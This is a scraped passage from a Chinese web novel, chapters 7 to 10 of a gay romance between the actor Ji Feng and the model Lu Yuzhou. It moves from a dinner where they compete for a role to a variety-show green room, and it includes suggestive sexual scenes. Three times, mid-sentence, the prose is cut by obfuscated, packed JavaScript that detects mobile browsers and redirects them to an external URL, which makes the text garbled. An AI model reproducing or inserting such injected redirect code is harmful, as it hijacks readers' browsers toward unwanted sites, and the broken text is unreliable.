陆屿洲从小就告诉自己得不到的东西要学会戒断。 但是戒不掉的怎么办呢? 酒液滑过喉腔那刻出现在脑海的面容再次浮现,晃动的耳垂、妖冶的脸和那被箍在手掌中的劲瘦腰身。 鼻尖嗅着那点冷香,半个月来,陆屿洲的心中从未有过如此渴求和如此极致,沙哑地挤出声音:“……季沨。” 那双琥珀色眼睛变得幽深炙热,满是对猎物的渴望,在浓稠的夜色里,默念另一个人的名字—— 季沨、季沨、季沨、季沨、季沨、季沨、季沨…… 戒不掉。 那就得到。 7. 第七章 “季沨!” “你怎么还坐在这玩游戏儿呢,”郁容从会议室出来,拿起文件拍了拍季沨的肩,“别玩了行吗祖宗,快去换衣服,晚上还要和杨导他们一起吃饭!” “吃饭还要这么隆重,”季沨的小人被郁容一巴掌拍死,将手机往沙发上一扔,没好气道,“不知道的还以为你要带我去陪酒呢。” “我带你陪酒?”郁容说,“得了吧,两年前那导演怕是现在功能都没恢复,我可还没娶老婆呢。” “要陪酒的是我还差不多,你上次那个演法,听说杨导已经让肖导去物色新的备选了,杨导喜欢喝酒,我今天特地租了个局带了几瓶15年生肖酒,务必趁着饭局让他把合约给你签了。” “饭局,”季沨一边找着衣服一边问,“都有谁啊?” “当然是剧组里能说上话的都问了一遍,导演出品制片,可能还有几个认人的小演员吧。” “哦。”季沨一点头,“资方呢?” “资方?”郁容没明白他怎么忽然用了这个称呼,“你说陆屿洲?” “问了,他没回,估计挺忙的吧,可能不来了。” 但季沨本人好像也只是随口一问,并没有多在意这个已经过去式的资方,手里的衣服抖了抖,皱眉嫌弃道:“这也太素了。” “杨导的这个角色可是个风流帝王,剧本设定里是招摇又张扬的,”郁容不明白他为什么突然开始这么在意角色风格,只看到季沨招招手,“LANVIN前两天送过来的那两件新款呢,让莫可给我拿过来。” 季沨本人并不是多么热心于打扮,有时候随便套个老头衫也能去走机场,但是衣品却格外的好。 最后挑中了一件深灰色千鸟格西装,内搭黑色衬衫,复古罗盘胸针,裸露的锁骨上坠了一点红宝石珍珠Choker,这种繁复的造型在他身上丝毫不觉得累赘,反而像是中世纪的矜贵王爵。 “卧槽!”长腿刚刚迈进车厢,旁边的莫可就传来一声惊呼,“别别别动哥,你这个造型我得给你拍几张照片,你微博都好久没营业了,粉丝饿得嗷嗷叫!” 莫可的拍照技术不错,最后的成图,季沨一只手撑在下巴上望着窗外,侧脸精致迷人,玻璃外是流动的车流,玻璃里凝固的矜贵公子,静谧得好似一幅画。 微博刚发出去评论就破了万—— “啊啊啊啊啊啊啊啊啊风风!!!” “老公好帅啊老公啊啊啊啊啊!!” “太漂亮了太漂亮了太漂亮我舔舔舔老婆!穿成这样是要去参加什么节目组吗?” “想你了风风,小风铃们永远爱你!!!” 一个顶流的热评里能叫老公的和叫老婆的能同时和谐出现也是个神奇现象,主要原因是季沨当年事业刚有一点起色,走机场的时候被人举着灯牌追着叫老公,结果这人脚步一停墨镜一摘,漂亮脸蛋浮上明媚笑容:“不好意思,我性取向为男。” 全场安静了一瞬间,听着季沨不紧不慢地补完了后半句—— “而且,是下面那个。” 粉丝愣住了,当时才刚刚接手季沨的郁容也愣住了,战斗力强悍的粉丝生平第一次和工作人员达成了共识,看样子都很想将听到那两句话的人给毒聋了。 全场只有季沨一个人依然笑意盈盈,伸手将粉丝送的花接过来:“花我收下,礼物就不用了。” “天这么热以后别等这么久啦,我让工作人员买了点奶茶,去分一下吧。” 虽然现在同性还算是开放,但毕竟大多数男明星的基本盘其实都是女粉丝,其他人捂得严严实实的性取向被他这样轻飘飘地出了柜,按理说应该是件掉女友粉的事。 但现在网友精神状态普遍不太好,季沨越是这样风轻云淡地说出这件事,大家就越上头越有兴趣,机场视频一出,粉丝当场翻了个倍,一大堆围着过来叫老婆的。 当然,很重要的一个原因是,季沨是真的很漂亮。 陆屿洲是在评论区里翻到那张图的,当年的季沨还染着男团时的金色头发,衬得皮肤白皙光滑,右耳戴了一枚蓝色耳钉,手里捧了一束鸢尾。 嘴角带笑,墨镜下的半张脸明艳皎洁,像是手中盛放的花。 陆屿洲鬼使神差地点了个赞,惊觉手滑的时候发现用的是小号,于是索性由它去了。 包厢在楼上,但是陆屿洲却并不想太早上去,游刃有余才是狩猎的姿态。 陆屿洲降下车窗,打算透口气看场秀,前方突然传来一声类似呻/吟的甜腻的:“啊——” “讨厌,别碰了~你不说了带我上去的吗?” 陆屿洲对围观这种事没有兴趣,就像在巴黎时面无表情地看着同事在自己面前乱搞一样。 顶多是觉得在停车场弄这个未免有些没有公德,刚要把车窗升上去,忽然听到另一道声音—— “哎哟宝贝儿现在还不是时候呢,不过你放心,我肯定让你进组里,肖诚他算得了什么,到时候调度肯定还是听我的。” 如果他没听错,这应该是剧组的那位执行导演陈业。 虽然知道这种潜规则在圈里并不罕见,陆屿洲还是觉得有点令人作呕。 他倒是有一点点能理解季沨不和资方上床的念头了。 这个想法刚出来,便听到那陈业继续道:“再说了,今天是季沨组的局,你现在过去万一跟他碰上,他又欺负你怎么办?” “那,那我之前说的,你去跟杨导说说嘛。” “哎呀放心,演技差这是个硬伤,今天我肯定劝杨阶不用他,快,再让我亲一下,”陈业的笑声里带着急迫的油腻,“我当然是最心疼你的宝贝儿。” 陆屿洲抬手升上了车窗,迈克伦塞纳轰鸣的引擎声从停着的大G前一闪而过,两人吓得一个激灵,齐齐抓紧了衣服。 抬手一个倒挡,陆屿洲将车子换了个区,车身擦着边线停下,他眼眸幽深,指尖搭在车窗上想着刚才的事,突然轻笑了一下,在通讯录里找了一圈,这才抬手拨出电话:“喂?宋老师。” * 既然是要请客做局,季沨他们自然是第一个到的,郁容在跟服务生沟通着座次和上菜顺序,季沨百无聊赖玩着手机,看着周围的座位逐渐被填满。 主位上坐着的自然是杨阶,左边是副导肖诚,右边的座位却空空如也。 显然是某位业务繁忙的资方。 季沨淡淡地抿着掺了水的酒,听着肖诚出面寒暄:“哦,小陆啊,他最近几场大秀呢,那应该是不过来了。” 话音刚落,一人抬手推开了门,声音清冷:“不好意思,来晚了。” 陆屿洲今天的穿衣风格跟以往很不一样,黑色深V西装,露出精壮的胸膛和修长脖颈,头发后抓露出额头,脖子上还带着一条金属链,滑过喉结的地方带着野性的性感迷人。 “哟,这是刚从秀场上下来啊,超模就是超模,”肖诚说着往后靠靠,“小陆你这么一来,我看我们这里也就季沨敢跟你坐了。” 这也就是一句打趣,谁知道陆屿洲居然真的一点头:“好啊。” 他说着,拉开旁边的椅子坐了下来,和季沨正对面。 季沨讶异地一抬头,直到这时,二人才终于对视了一眼。 察觉到落在自己胸口的视线,陆屿洲干脆往后椅背上一靠,敞开的领口处露出一点饱满的胸肌,栗色眼睛微微眯起,搭在桌面上的手指无意识地点了点。 上几十次床的季沨很熟悉,一般在酒店里陆屿洲露出这个眼神的时候,季沨第二天都会到下午才能从床上爬起来。 但那又怎么样,他们现在已经分开了。 再说就算没分开,这里也不是拉上窗帘的酒店,而是人声鼎沸的包厢。 这样想着,季沨举起酒杯,朝着陆屿洲微笑着示意,正要放下 。 桌布下的脚突然勾住了。 有人用脚踝蹭上他的脚踝,压着他的踝骨轻轻摩挲,又若有似无地擦过小腿,季沨可以感受到他温热的皮肤,腿部绷直的肌肉线条,在拥挤的包间,所有人一低头就可以看到的桌下,这几乎是恶意的挑逗。 可是季沨抬起头,那人却若无其事地抿了口酒,视线并没有偏向这里,看起来似乎在很专注地听着几位导演讲话。 季沨微一挑眉。 在那条腿有进一步动作之前,季沨突然抬起脚,皮鞋鞋底碾过膝盖,深灰色的痕迹沿着西装裤的褶皱一路往上爬到中间的柔软,随后——猛地一压! 季沨并没有用多少力气,可是陆屿洲手腕一抖,酒杯里的酒当场洒出去一半。 “陆老师,”陆屿洲回头,只看到季沨微笑着的脸,两个人的腿在桌下亲密无间地交缠着,可季沨只是举起酒杯,一副不太熟的样子,“当心啊。” 陆屿洲站起身,垂下的衣摆盖住了西裤上的一点灰尘,拿起纸巾擦了擦衬衫上溅上的酒液:“抱歉,我出去一下。” 很奇怪,季沨以为陆屿洲这种洁癖又强迫症的人衣服脏了一点肯定要大惊失色躲得离他八米远,可这次他的反应却堪称平淡,甚至在出去之前,还垂眸定定地望了他一眼。 怎么说呢? 凭借着季沨多年稳坐酒吧前台的经验,这是个出现在夜色里会让人觉得危险的眼神。 * “陆老师!” 几乎是陆屿洲一出门,郁容就跟了过来。 陆屿洲代表万界,他在剧组的话语权远大于肖诚,甚至在某种程度上可以越过杨阶,就算是他真的网上说的那样跟季沨晚上打过架,郁容也必须争取一下。 “怪我,这家酒店的杯口做得不太好,”郁容将手上的袋子递过去,“我这里刚好带了几件衬衫,跟您今天的西装还挺搭的,我带您到旁边换一下?” 陆屿洲望了一眼:“季沨的?” “那怎么会,”郁容笑道,“都是品牌方刚刚送过来的,连吊牌都没摘,我今天还特意多带了几个尺码。” “都是我们风风代言的品牌,签了好几年的合同了,”郁容不着痕迹地推销着季沨的商业价值,并道,“而且啊,我们风风平时很是仰慕您呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223175|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他?”陆屿洲脚步一停,“仰慕我?” “那当然,两年前我才刚带他,那时候风风还没有现在这么火,一场戏要等上八个小时,我都睡了一觉,他就一直那么坐在那,结果等我醒来的时候,你猜怎么着——” “我发现他在等着看您在纽约的那场大秀直播——‘神明之约’。” 不着痕迹地表达演员的敬业与价值,郁容无疑是个非常优秀的经纪人,而且两年前他确实在纽约,能准确地对应时间并记得那场秀的名称,可见是下了个功夫的。 季沨的团队确实不错,只是季沨显然没有跟他们说过他们之间的关系。 仰慕他? 季沨半个多月前还因为他是资方果断地跟他提出结束,第二天就毫不留恋地去了一夜情的酒吧。 不过……陆屿洲冷嗤一声,眼中闪过一点不易察觉的光。 跟着郁容进了休息室,陆屿洲刚要换衣服,结果一张纸顺着西装口袋落了下来。 正打算离开的郁容停住脚步,赶紧给他捡了起来,纸张看起来是个宣传页,上面“演技综艺”四个大字让郁容忍不住多看了眼:“万界这是准备要投综艺了吗?” “哦,不是,”陆屿洲说,“是宋老师的演技班,上回碰到,让我帮他看看万界有没有需要提升演技的演员。” “哪个宋老师?” 郁容嗅觉敏锐,“是上回刚二获百花的四金影帝的宋骁老师吗?” “百花……应该吧,”陆屿洲想了想,他对这件事并不是很在意,将宣传页放在一边,随口道,“可能杨导知道?之前好像听杨导说过挺欣赏他的。” 西装衣扣解到腰身,再往下就是被季沨脚尖碰过的西裤,陆屿洲终于望了愣神的郁容一眼,礼貌道:“可以出去一下吗?” * 陆屿洲出门换了件衬衫才回来。 郁容给他的和季沨是一个牌子,可陆屿洲还偏偏在那一众里挑了个季沨的同款。 只是季沨的是黑色,他的是白色,领口上都有一点不易察觉的金色滚边,这种贴着肌肤的相似,像是刚刚交错又分开的双腿。 好在几个导演已经喝到了中场,没人关注这一点小小的细节,陈业看着时机差不多,趁机提出:“上次试的那个公子角色,我这里倒是有个不错的人选,他……” “哎呀老陈你急什么,”肖诚笑着打断他,“男主还没定呢,我看不如今天趁着大家都在,刚好把合约签一下再说其他的?” “就是啊杨导,我们风风可是为了这部戏把档期全控好了,还特意去练了形体,”郁容端了杯酒过来敬,“就等着您点头呢。” 杨阶望了季沨一眼,目光落在他那一身配饰却只觉得锦上添花的脸上。 外表确实合适,只是…… “小季流量确实不错,就是这演技……”陈业的话顿了顿,“我这人说话是有点直,但是这后期重拍延期抠图什么的,开销肯定要超,”他话锋一转,听说陆屿洲跟季沨关系不好,试图找盟友,“是吧陆老师?” 陆屿洲连看都没看他一眼,只是见季沨对着一盘藕带吃得正香,跟着也夹了一块放进盘子里。 季沨在控制体重,桌上能吃的菜本来也没几个,吃得好好的突然被抢,于是恶狠狠地瞪了他一眼。 于是陆屿洲顿时夹得更欢快了。 眼看着没人理,陈业悻悻地转过头,自己继续道:“再说了,”他压低声音对杨阶道,“就这演技,您到时候也不好教啊。” “我们当时都说了,这片子是拿来冲奖的,要是……” “演技的事情您不用担心。” 郁容目光一凌,斩荆截铁地打断他:“季沨之前就报了宋老师的演技班了。” “宋老师您是知道的杨导,老牌三金影帝,今年更是二拿百花,自我要求高,那对待手下的徒弟也是一等一的严,”郁容笑着端起酒杯,“我相信啊,风风跟着他待过两期,进组之前那一定是脱胎换骨。” 郁容说完一饮而尽,态度谦卑又令人舒适,杨阶果然来了兴趣:“老宋?老宋是不错,他不是说拍完上一部要回家休息的吗,怎么现在又出来折腾了?” “可不是嘛杨导,风风也是一听说这个消息立马就去找了宋老师,宋老师那时候在排话剧,他就自己在人家门口等了一天,这孩子虽然平时不说,但是心里上进着呢,一直拿您和宋老师当榜样。” 看着杨阶由阴转晴的脸色,郁容果断拿胳膊肘碰了一下季沨:“风风,你自己来跟杨导说说,是不是啊?” 季沨正忙着跟陆屿洲抢藕带,闻言一愣:“是什么?” “去宋老师的演技班啊,”郁容边说边给季沨使眼色,“你当初自己找着宋老师说要好好学习,对不对?” “啊?” “啊什么啊,”郁容在下面拍了他一下,一字一句用力道,“咱们已经连合约都签好了,对、吧?” 藕带口感清爽干脆,确实不错。 陆屿洲抿了口酒,唇角微弯,琥珀色眼睛里浮现出势在必得的笑。 8. 第八章 “我什么时候说过要去演技班了?” 即便是已经要去往节目组的路上,季沨依然在负隅顽抗:“我倒是第一次听说参加综艺能提升演技的,这个宋骁分明就是自己老婆怀孕了想来赚点奶粉钱,你们还非要我去陪他过家家?” 宋骁的订婚对象怀孕是圈内的秘密共识,很多人都猜测三金影帝之所以愿意放下身份搞综艺,就是为了养家糊口,更何况,宋骁用的形式也是当下最流行的恋综。 “那又怎么样,”郁容说,“没人指望你真的在综艺里学到东西。” “比起你的演技,给大众一个积极向上的形象才重要,让杨导觉得你有进步的希望才重要。” 郁容挥了挥手上《帝台春》的合约:“这个,才最重要。” 男主已经拿到手,接下来就应该谈谈公司的续约合同,郁容正要开口,却听到季沨笑了一声:“我都说了这是个恋综,万一我演技爆发假戏真做谈了个恋爱……” 漂亮眼睛盯着郁容:“这也不重要吗?” 季沨说得不错,这次培训的形式确实是恋综。 现场将有八位明星的扮演四对不同状态的情侣,节目采用直播形式,由节目组发布扮演任务,观众和宋骁一起打分,宋骁本人也会在任务结束之后对每个演员进行点评指导。 最重要的是,直播综艺里,他们每对情侣是要住在一起的。 郁容定定地回望了他一眼,季沨说话是总是绵里藏针让人看不出真假,以至于郁容不得不提醒他:“你知道现在是自己的事业上升期吧?” “当然。”季沨笑了下,好像刚刚也只是随口一问,“但是既然是恋综,炒CP总是免不了的吧?” “这个你放心。” 郁容啪得从包里抽出一沓文件:“早在你机场出柜一鸣惊人开始,我已经让团队做好了一线二线三线十八线爱豆网红模特素人等等不同方案不同身份的通稿,保证不会让咱们不会吃半点亏。” “当然,我跟导演说过了,尽量给你配一个门当户对的。” “免得你扶贫下嫁。” 郁容说着,将手机从季沨的手里抽出来:“节目组的要求,手机我先替你保管,东西都装在了行李箱里,人设这东西反正你也没有,我就不提醒你了。” 保姆车在录制现场停下,他只得抓紧时间说了几个最重要的:“不要骂人,不要打架,还有——” “……不要随便撩人。” “不然人家唯粉要撕你,我一定站对家。” 季沨闻言一笑,抬手戴上墨镜:“都说了是恋综,不撩人我谈什么啊?” * “季老师,这边请!” 季沨咖位大,保姆车刚到,导演潘叙就已经到了门口迎接,一路将季沨领到休息室的门口。 潘叙亲手替季沨打开门:“您先在这里稍等一下,您的搭档已经在路上了,等下就到。” “搭档?” “那……CP?”潘叙想了一下措辞,“就是跟您一起演情侣的那一位了。” “宋老师说了,第一期开始暂时不会干涉,各位可以自由选择自己在恋爱中的人设,他将会根据每个人选择的人设和所呈现出来的剧情,在结束时单独谈话。” “现在离节目开始还有三个小时,您可以在这段时间里跟搭档进行沟通,包括两个人的互动、爱好,在一起的时间和细节等等,也是对各位演员的随机应变能力和台词记忆能力的一种考察。” “如果有不太清晰的地方,”潘叙将一本手册放在茶几上,“我们节目组特意备了一份情侣100问作为参考。” “您放心,我们没有在这个房间里配备摄像,也不会进来打扰,二位可以随便聊的。” 季沨点点头,听完这段长篇大论的规则已经是他的极限,潘叙一宣告结束,立刻歪着脑袋倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223176|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了沙发上。 “季老师?” “我睡会儿,”这个行程本来就是额外的,为了赶出来时间,季沨这周多跑了三个通告,“困了,他来了叫我就行。” * “陆老师,这里。” 为了两个陌生人更好地放下心防,房间里不仅备了沙发和蒲团,还在后面放了个榻榻米,确保二人能用任何舒服的姿势进行谈话。 潘叙原本以为季沨所说的休息只是在沙发上歇一会儿,没想到这人十分不见外地躺在了榻榻米上,还自己从柜子里翻了床薄被出来。 “季……” “嘘。” 潘叙想把人叫醒,被陆屿洲给拦住了:“没关系,”他几乎是用气音,“你先出去吧。” 房门被轻轻带上,陆屿洲站在床边,静静地看了会儿季沨的睡颜。 陆屿洲见过季沨太多样子,只不过大多是带着笑或者带着眼角沁出的生理性泪水,现下这人闭上眼睛,长长的睫毛覆盖着,侧脸被枕头压出一点肉,看起来居然有几分柔软无害的意思。 房间有点凉,陆屿洲起身将空调温度调高了点儿,谁知道这么一动 ,季沨反倒醒了。 脸颊在枕上无意识地蹭了蹭,轻声抱怨:“……热。” 季沨的声音带着刚睡醒时的沙哑朦胧,从试戏那天开始,陆屿洲和季沨已经快一个月没有联系过。 那条带回去的领巾已经被水洗得发白,可无论怎么试图还原气味,似乎都比不上季沨的一句话带给他更大的挑逗。 陆屿洲抬手松了松领带。 察觉到房间里另一个人的存在,季沨缓缓睁开了睡眼惺忪的眸子,眼尾一点潮湿的红: “……陆屿洲?” 他的语气是显而易见的疑问,只是因为刚刚睡醒,还带着柔软的尾音,撒娇一样:“你怎么会在这儿啊?” 陆屿洲瞬间觉得嗓子发紧。 9. 第九章 陆屿洲很明显刚从什么商务会谈场合赶过来,西装笔挺,领带因为刚刚扯松了一点,但是一向强迫症的人居然没发现。 “很明显,”陆屿洲喉咙发干,面上却一副冷淡的样子,手指在茶几上的《情侣100问》点了点,“我就是节目组派给你的搭档。” “你?” 季沨坐起身揉了揉眼睛,怀疑是自己还没睡醒:“……你一个模特要去进攻金马奖了?” 身上的T恤随着他的这个动作滑落了一点,露出漂亮的锁骨线条和雪白肩胛。 陆屿洲一只手端起玻璃杯,视线不着痕迹地在他的肩头停留了一瞬,喉结一滚咽下那口水,淡淡道:“模特也需要练表演。” 需要跑来找一个影帝演恋综训练? 季沨当然知道陆屿洲是为什么来的,就像是他知道那条消失了的丝巾最后去了哪里。 不过他只是懒洋洋地打了个哈欠,一副意外但是懒得多管的样子:“那你还挺勤奋好学的。” 陆屿洲没回应,盯着他滑落的肩胛:“还要再睡一会儿吗?导演说还有两个半小时。” “算了,”季沨抬手将领口给提了上去,“等会儿衣服皱巴巴地上节目,回去郁容肯定又要说我。” “或者……”他微一挑眉,笑道,“你不介意我在你面前裸睡?” 陆屿洲深深看他一眼,似乎在质疑他这个问题:“你之前不一直是?” 季沨难得被噎了一下。 确实,他们之前确实是。 见过彼此不穿衣服的样子比穿衣服还多,也算是个很难得的关系了。 “好吧,”季沨说,“还是看看节目组的任务吧,别等会儿上节目什么也不知道,我虽然演技不好可也不想输得太惨,”季沨下了床,示意陆屿洲看看桌上的那个册子,“上面写了什么?” 陆屿洲打开那本《情侣100问》:“第一个问题,” “你最喜欢对方的什么特点?” 季沨一顿,视线从陆屿洲拿着册子的手渐渐下移,视线缓缓地停留在陆屿洲懒散曲起的腿上。 而等他反应过来的时候,发现陆屿洲正以同样的目光盯着他的腰。 身为条件优越的国际超模,陆屿洲西裤的包裹下的长腿微微曲着,像是优雅又具有野性的豹类,然而失去了衣服的遮挡发力时,又能呈现出明显的肌肉线条和力量感。 季沨觉得自己的关注点没什么问题。 相反,陆屿洲才是……比起对他后面的开发,陆屿洲显然对他的腰更加情有独钟,发狠时喜欢握着他的腰窝,亲吻时把上面留下乱七八糟的青紫痕迹,有一次还买过一个腰链。 两个人都是很热衷去尝试床上的花样的,那腰链上带着一串铃铛,动起来叮当作响,和水声交错在一起,像是风过时的溪流。 “咳……”想起这个画面,季沨脸颊微热,轻咳一声,端起水杯喝了一口。 陆屿洲却没动,只是眼眸有些深:“我最近又看到一个。” 季沨抬起眼睛:“什么?” “腰链。” 他像是知道季沨刚刚在想什么,他们在这种事上一向默契,可能是因为从小练习法语的缘故,陆屿洲嗓音带着些撩人的磁性,不紧不慢地介绍着这个新产品的功能:“皮质的,黑色腰环,说是带了智能控制装置,会在进出的时候收紧。” 季沨跟着陆屿洲朗读般的声音想象这个画面,嘴唇在杯口轻轻抿了下:“那应该……挺舒服?” “嗯。”陆屿洲点头,目光深深,“你想试试吗?” 季沨微微挑了下眉,转头望向陆屿洲,眼中带着些兴味:“怎么,你不会带了吧?” 他并没有立刻拒绝,这种慢悠悠的姿态很容易让人误会是不是真的感兴趣,可就在陆屿洲盯着他滑落出的一段脖颈,嘴唇动了动,刚要开口,季沨却突然轻轻笑了声:“算了。” 他像个恶劣的驯犬人,骨头丢到嘴边又给收了回来:“这可是节目组,导演他们都在外面等着呢。” “还是好好想想怎么演好等会儿的戏吧。” 季沨说完,也没有要听陆屿洲讲话的意思,自己从桌上抽了张卡片出来,朗读出声—— “第二个问题,双方第一次接吻是在什么时候?” 床上的时候。 他亲了我的…… 两人这次目光很统一……一个缓缓滑到了腿以上,一个慢慢移到了腰以下。 又诡异地同时沉默了下来。 这显然不是个可以在节目上说出来的答案。 总之,不是接吻。 想到那个画面,两人都有些不自然地移开目光,“咳……”季沨轻咳了一声,“抱歉,之前跟你在床上的时间太久。” “导致我现在一看到你的脸想起的只有那种事,这些问题确实有点难了。” “嗯。”陆屿洲淡淡地应了声,只是声音带着莫名的哑。 季沨往刚刚的位置看了一眼,西装裤很贴身,因此显得分外明显,轻笑一声:“那不然……你先解决一下?” “好,”陆屿洲点头,将册子一合扔回茶几,盯着他道:“一起吗?” 季沨穿的是个低腰紧身牛仔裤,好像也不遑多让。 “这个……”季沨唇角轻抿,姿态懒散往后一靠,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223177|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都结束了,就不用了吧。” 陆屿洲的手指无声地攥紧,但是面上依然是淡淡的态度,态度认真地仿佛是在商务洽谈:“在这里,我们应该不是资方的关系。” 季沨挑眉看了他一眼,眼中闪过一点兴味:“所以呢?” 陆屿洲在他的身边坐下,脸色依然是紧绷的,只是语气已经松了一个度:“只是碰一碰……” 嗅到季沨身上熟悉的冷香,目光落到季沨搭在沙发上的修长手指。 丝巾上沾染的气味早已在它带回去的第一晚就被污染,无法被复原的气息像是内心填不平的焦渴,距离那一次已经过去了近一个月的时间……陆屿洲喉结滚动了下,垂眸望着季沨:“……也不可以吗?” 可能是他爷爷那四分之一的Old school-Gentlemen血统,陆屿洲虽然大多数时候看起来冷淡又不好惹,但是开口必然是礼貌温和的,不同于季沨邀约时的直截了当,他就算是有需求,句式一般也都是“可以……吗?” 这还是他第一次在季沨面前用反问句——“不可以吗?” 视线专注,长睫低垂。 瞧着还怪可怜的。 季沨那堪比菠萝孔的心罕见地软了一下。 * “导演,我听说季老师跟陆老师关系好像不太好的样子,宋老师把他们俩放在一组,不会出什么事儿吧?” “应该……不会吧,”导演想了想,“毕竟都是大牌,总归还是要注意一下形象的?” 谁知话音刚落,砰的一声! 房间里传来一声重物落地的巨响! “卧槽,真打起来了?!” “陆老师?!季老师?!” 导演紧急拍门:“你们没事吧?” 拍了两下并没答话,他也不敢贸然开门,万一打架的视频从这里流传去,他们还演个屁的情侣啊,导演温声建议:“两位要是实在不知道聊什么的话,不然先说说彼此喜欢吃什么玩什么啊,慢慢来嘛。” 说着,耳朵贴在门上仔细听着房间的动静:“陆老师?季老师?” 房间里,陆屿洲单手撑在墙上,另一只手抄在季沨的腰间防止他掉下去,汗水沿着脖颈的青筋滑落,声音沙哑:“没事。” 季沨的双腿环着陆屿洲的腰,脊背被紧紧压在墙壁,手腕被磨得发红。 事实证明心疼男人就是倒霉的开始,一个月没碰过荤腥的狗崽子实在太过可怕,季沨看着倒在地上的椅子,胸口起伏,耳朵还有些微微杂音:“导演说什么?” “没什么,”陆屿洲用力扣紧他,动作凶狠声音冷淡,“他问你在吃什么?” 10. 第十章 果然,男人最不能信的一句话就是——我只是蹭蹭。 虽然没有做到最后,不过陆屿洲似乎在断连的一个月里恶补了什么,整个人简直跟疯了一样,季沨腿根现在还有点发酸,还好导演只给他们三个小时熟悉,这要是一天,估计还先熟透的是季沨本人的身体。 “季老师,这边!” 为了节目效果,每对的出场都是分散的,季沨并没有跟陆屿洲一起走。 工作人员在前面引路,只是望向季沨的带着几分犹疑的欲言又止。 “怎么了?”季沨脚步一停,“你们潘导让你给我什么高难度任务了?没关系,拿过来吧。” “那、那个。”工作人员犹豫了会儿,小声道,“潘导让我跟你说……” “等会儿在镜头前,千万不要跟陆老师打架。” “打架?” “是啊,”工作人员压低声音做了个保密的手势,“潘导说……你们刚刚在休息室里那动静,好像把椅子都给抄起来用上了。” 季沨:…… 确实是把椅子给用上了,不过倒没有抄起来。 而是……在下面。 毕竟怕把榻榻米和沙发留下痕迹,他们只能借住那把唯一的木椅,两个大男人叠上去,没有散架已经算是它质量好。 季沨轻咳了一声,扯扯衣袖遮住发红的手腕,按照工作人员的指示迈进别墅。 他们的住宿是在节目组提供的别墅里,第一天主要是熟悉,因此来参加的四对情侣都会在这里。 今天不是什么晚会酒宴,因此季沨只穿了件浅色牛仔外套,里头搭了件干净的白T,同色系的牛仔裤,整个人看起来干净利落,衬得那张脸更是有种清水芙蓉的美。 摄像技术老练,镜头先从庭院的树影往里扫,看起来像是在拍清爽的校园剧,季沨的身影刚从一片晃动的碧绿树影里透出来,弹幕就已经炸了锅—— 【啊啊啊啊啊啊啊风风风风!!!】 【老婆!我爱你啊啊啊啊啊啊啊啊啊老婆!】 【四季如风,与你同行~支持上进的青年演员季沨!!】 【卧槽,季沨怎么有种越素越欲的感觉,眼睛好漂亮啊妈呀,跟那啥过了一样,我舔舔舔!!!】 【拜托节目组速速将季沨的CP端上桌!本人就是冲颜值来的,虽然季沨的演技是不指望了,就当看个养眼的MV吧。】 【说得对,季沨CP是谁啊?现在来的这俩他好像都没什么交集吧。】 季沨的手指搭在门把手上,避着摄像悄无声息地喘了口气。 刚刚体力消耗过大,刚刚上楼梯的时候都觉得腰有些发软,季沨停了一会儿,才动动指骨拧开门把,脊背一挺唇角一勾,便又是以前那副风流浪荡的模样:“Hello~” 他笑着打了个声招呼,房间的沙发上已经坐了两个人。 一个季沨认识,叫叶辞归,舞蹈演员出身,因为几个古风武打视频出的圈,营销的也是古风男神形象,穿了一身刺绣衬衫,气质清雅,手上还拿了本《悉达多》。 见到季沨来,也只是从书页中抬起头,淡淡地颔首:“季老师。” “叶老师。” 季沨笑着应和,叶辞归怎么说也是一线,看来这综艺的资源还挺不错的。 至于另一个,从季沨视角只看到他头顶小小的发旋,粉色的T恤,这个颜色衬得他皮肤很白,只是这个侧脸,看起来怎么那么的……熟悉? 意识到自己躲不过去,那人终于缓缓地转过头,身子缩进沙发角落,很小声地叫了一句:“季、季老师。” 季沨一瞬间想起了在哪里见过他。 那天晚上,陌路酒吧。 像是怕季沨多说什么,那人局促伸出手:“那个……我是……的成员初禾,之前一直很仰慕前辈,”初禾说着,脸颊绯红,声音腼腆,“初次见面,季前辈好。” 【啊啊啊初禾宝宝好可爱,妈妈亲亲亲!】 【介绍一下,这位是S·T的Vocal担当初禾哦,感兴趣可以去某云搜一下《风筝》和《阴雨天》,嗓音超绝的宝藏男孩!】 【我们初禾宝宝是社恐啦,跟季沨说这么多话肯定真的很喜欢前辈吧!】 初禾是不是社恐季沨不知道,但是那天在酒吧里同时搭讪了他和陆屿洲两个人“高中生”显然不是。 现在的小鲜肉们凹人设都搞这么有反差的吗? 不过也难怪季沨认不出他,初禾那个男团里有整整十八个人,每次合体舞台小一点都得站两排,而且现在的男团也不讲究什么差异化,全都是差不多的精致妆容,十几个头往上一站,就算他亲妈来了都得找半天。 每逢这种场合,季沨都自己在下面找乐子玩的。 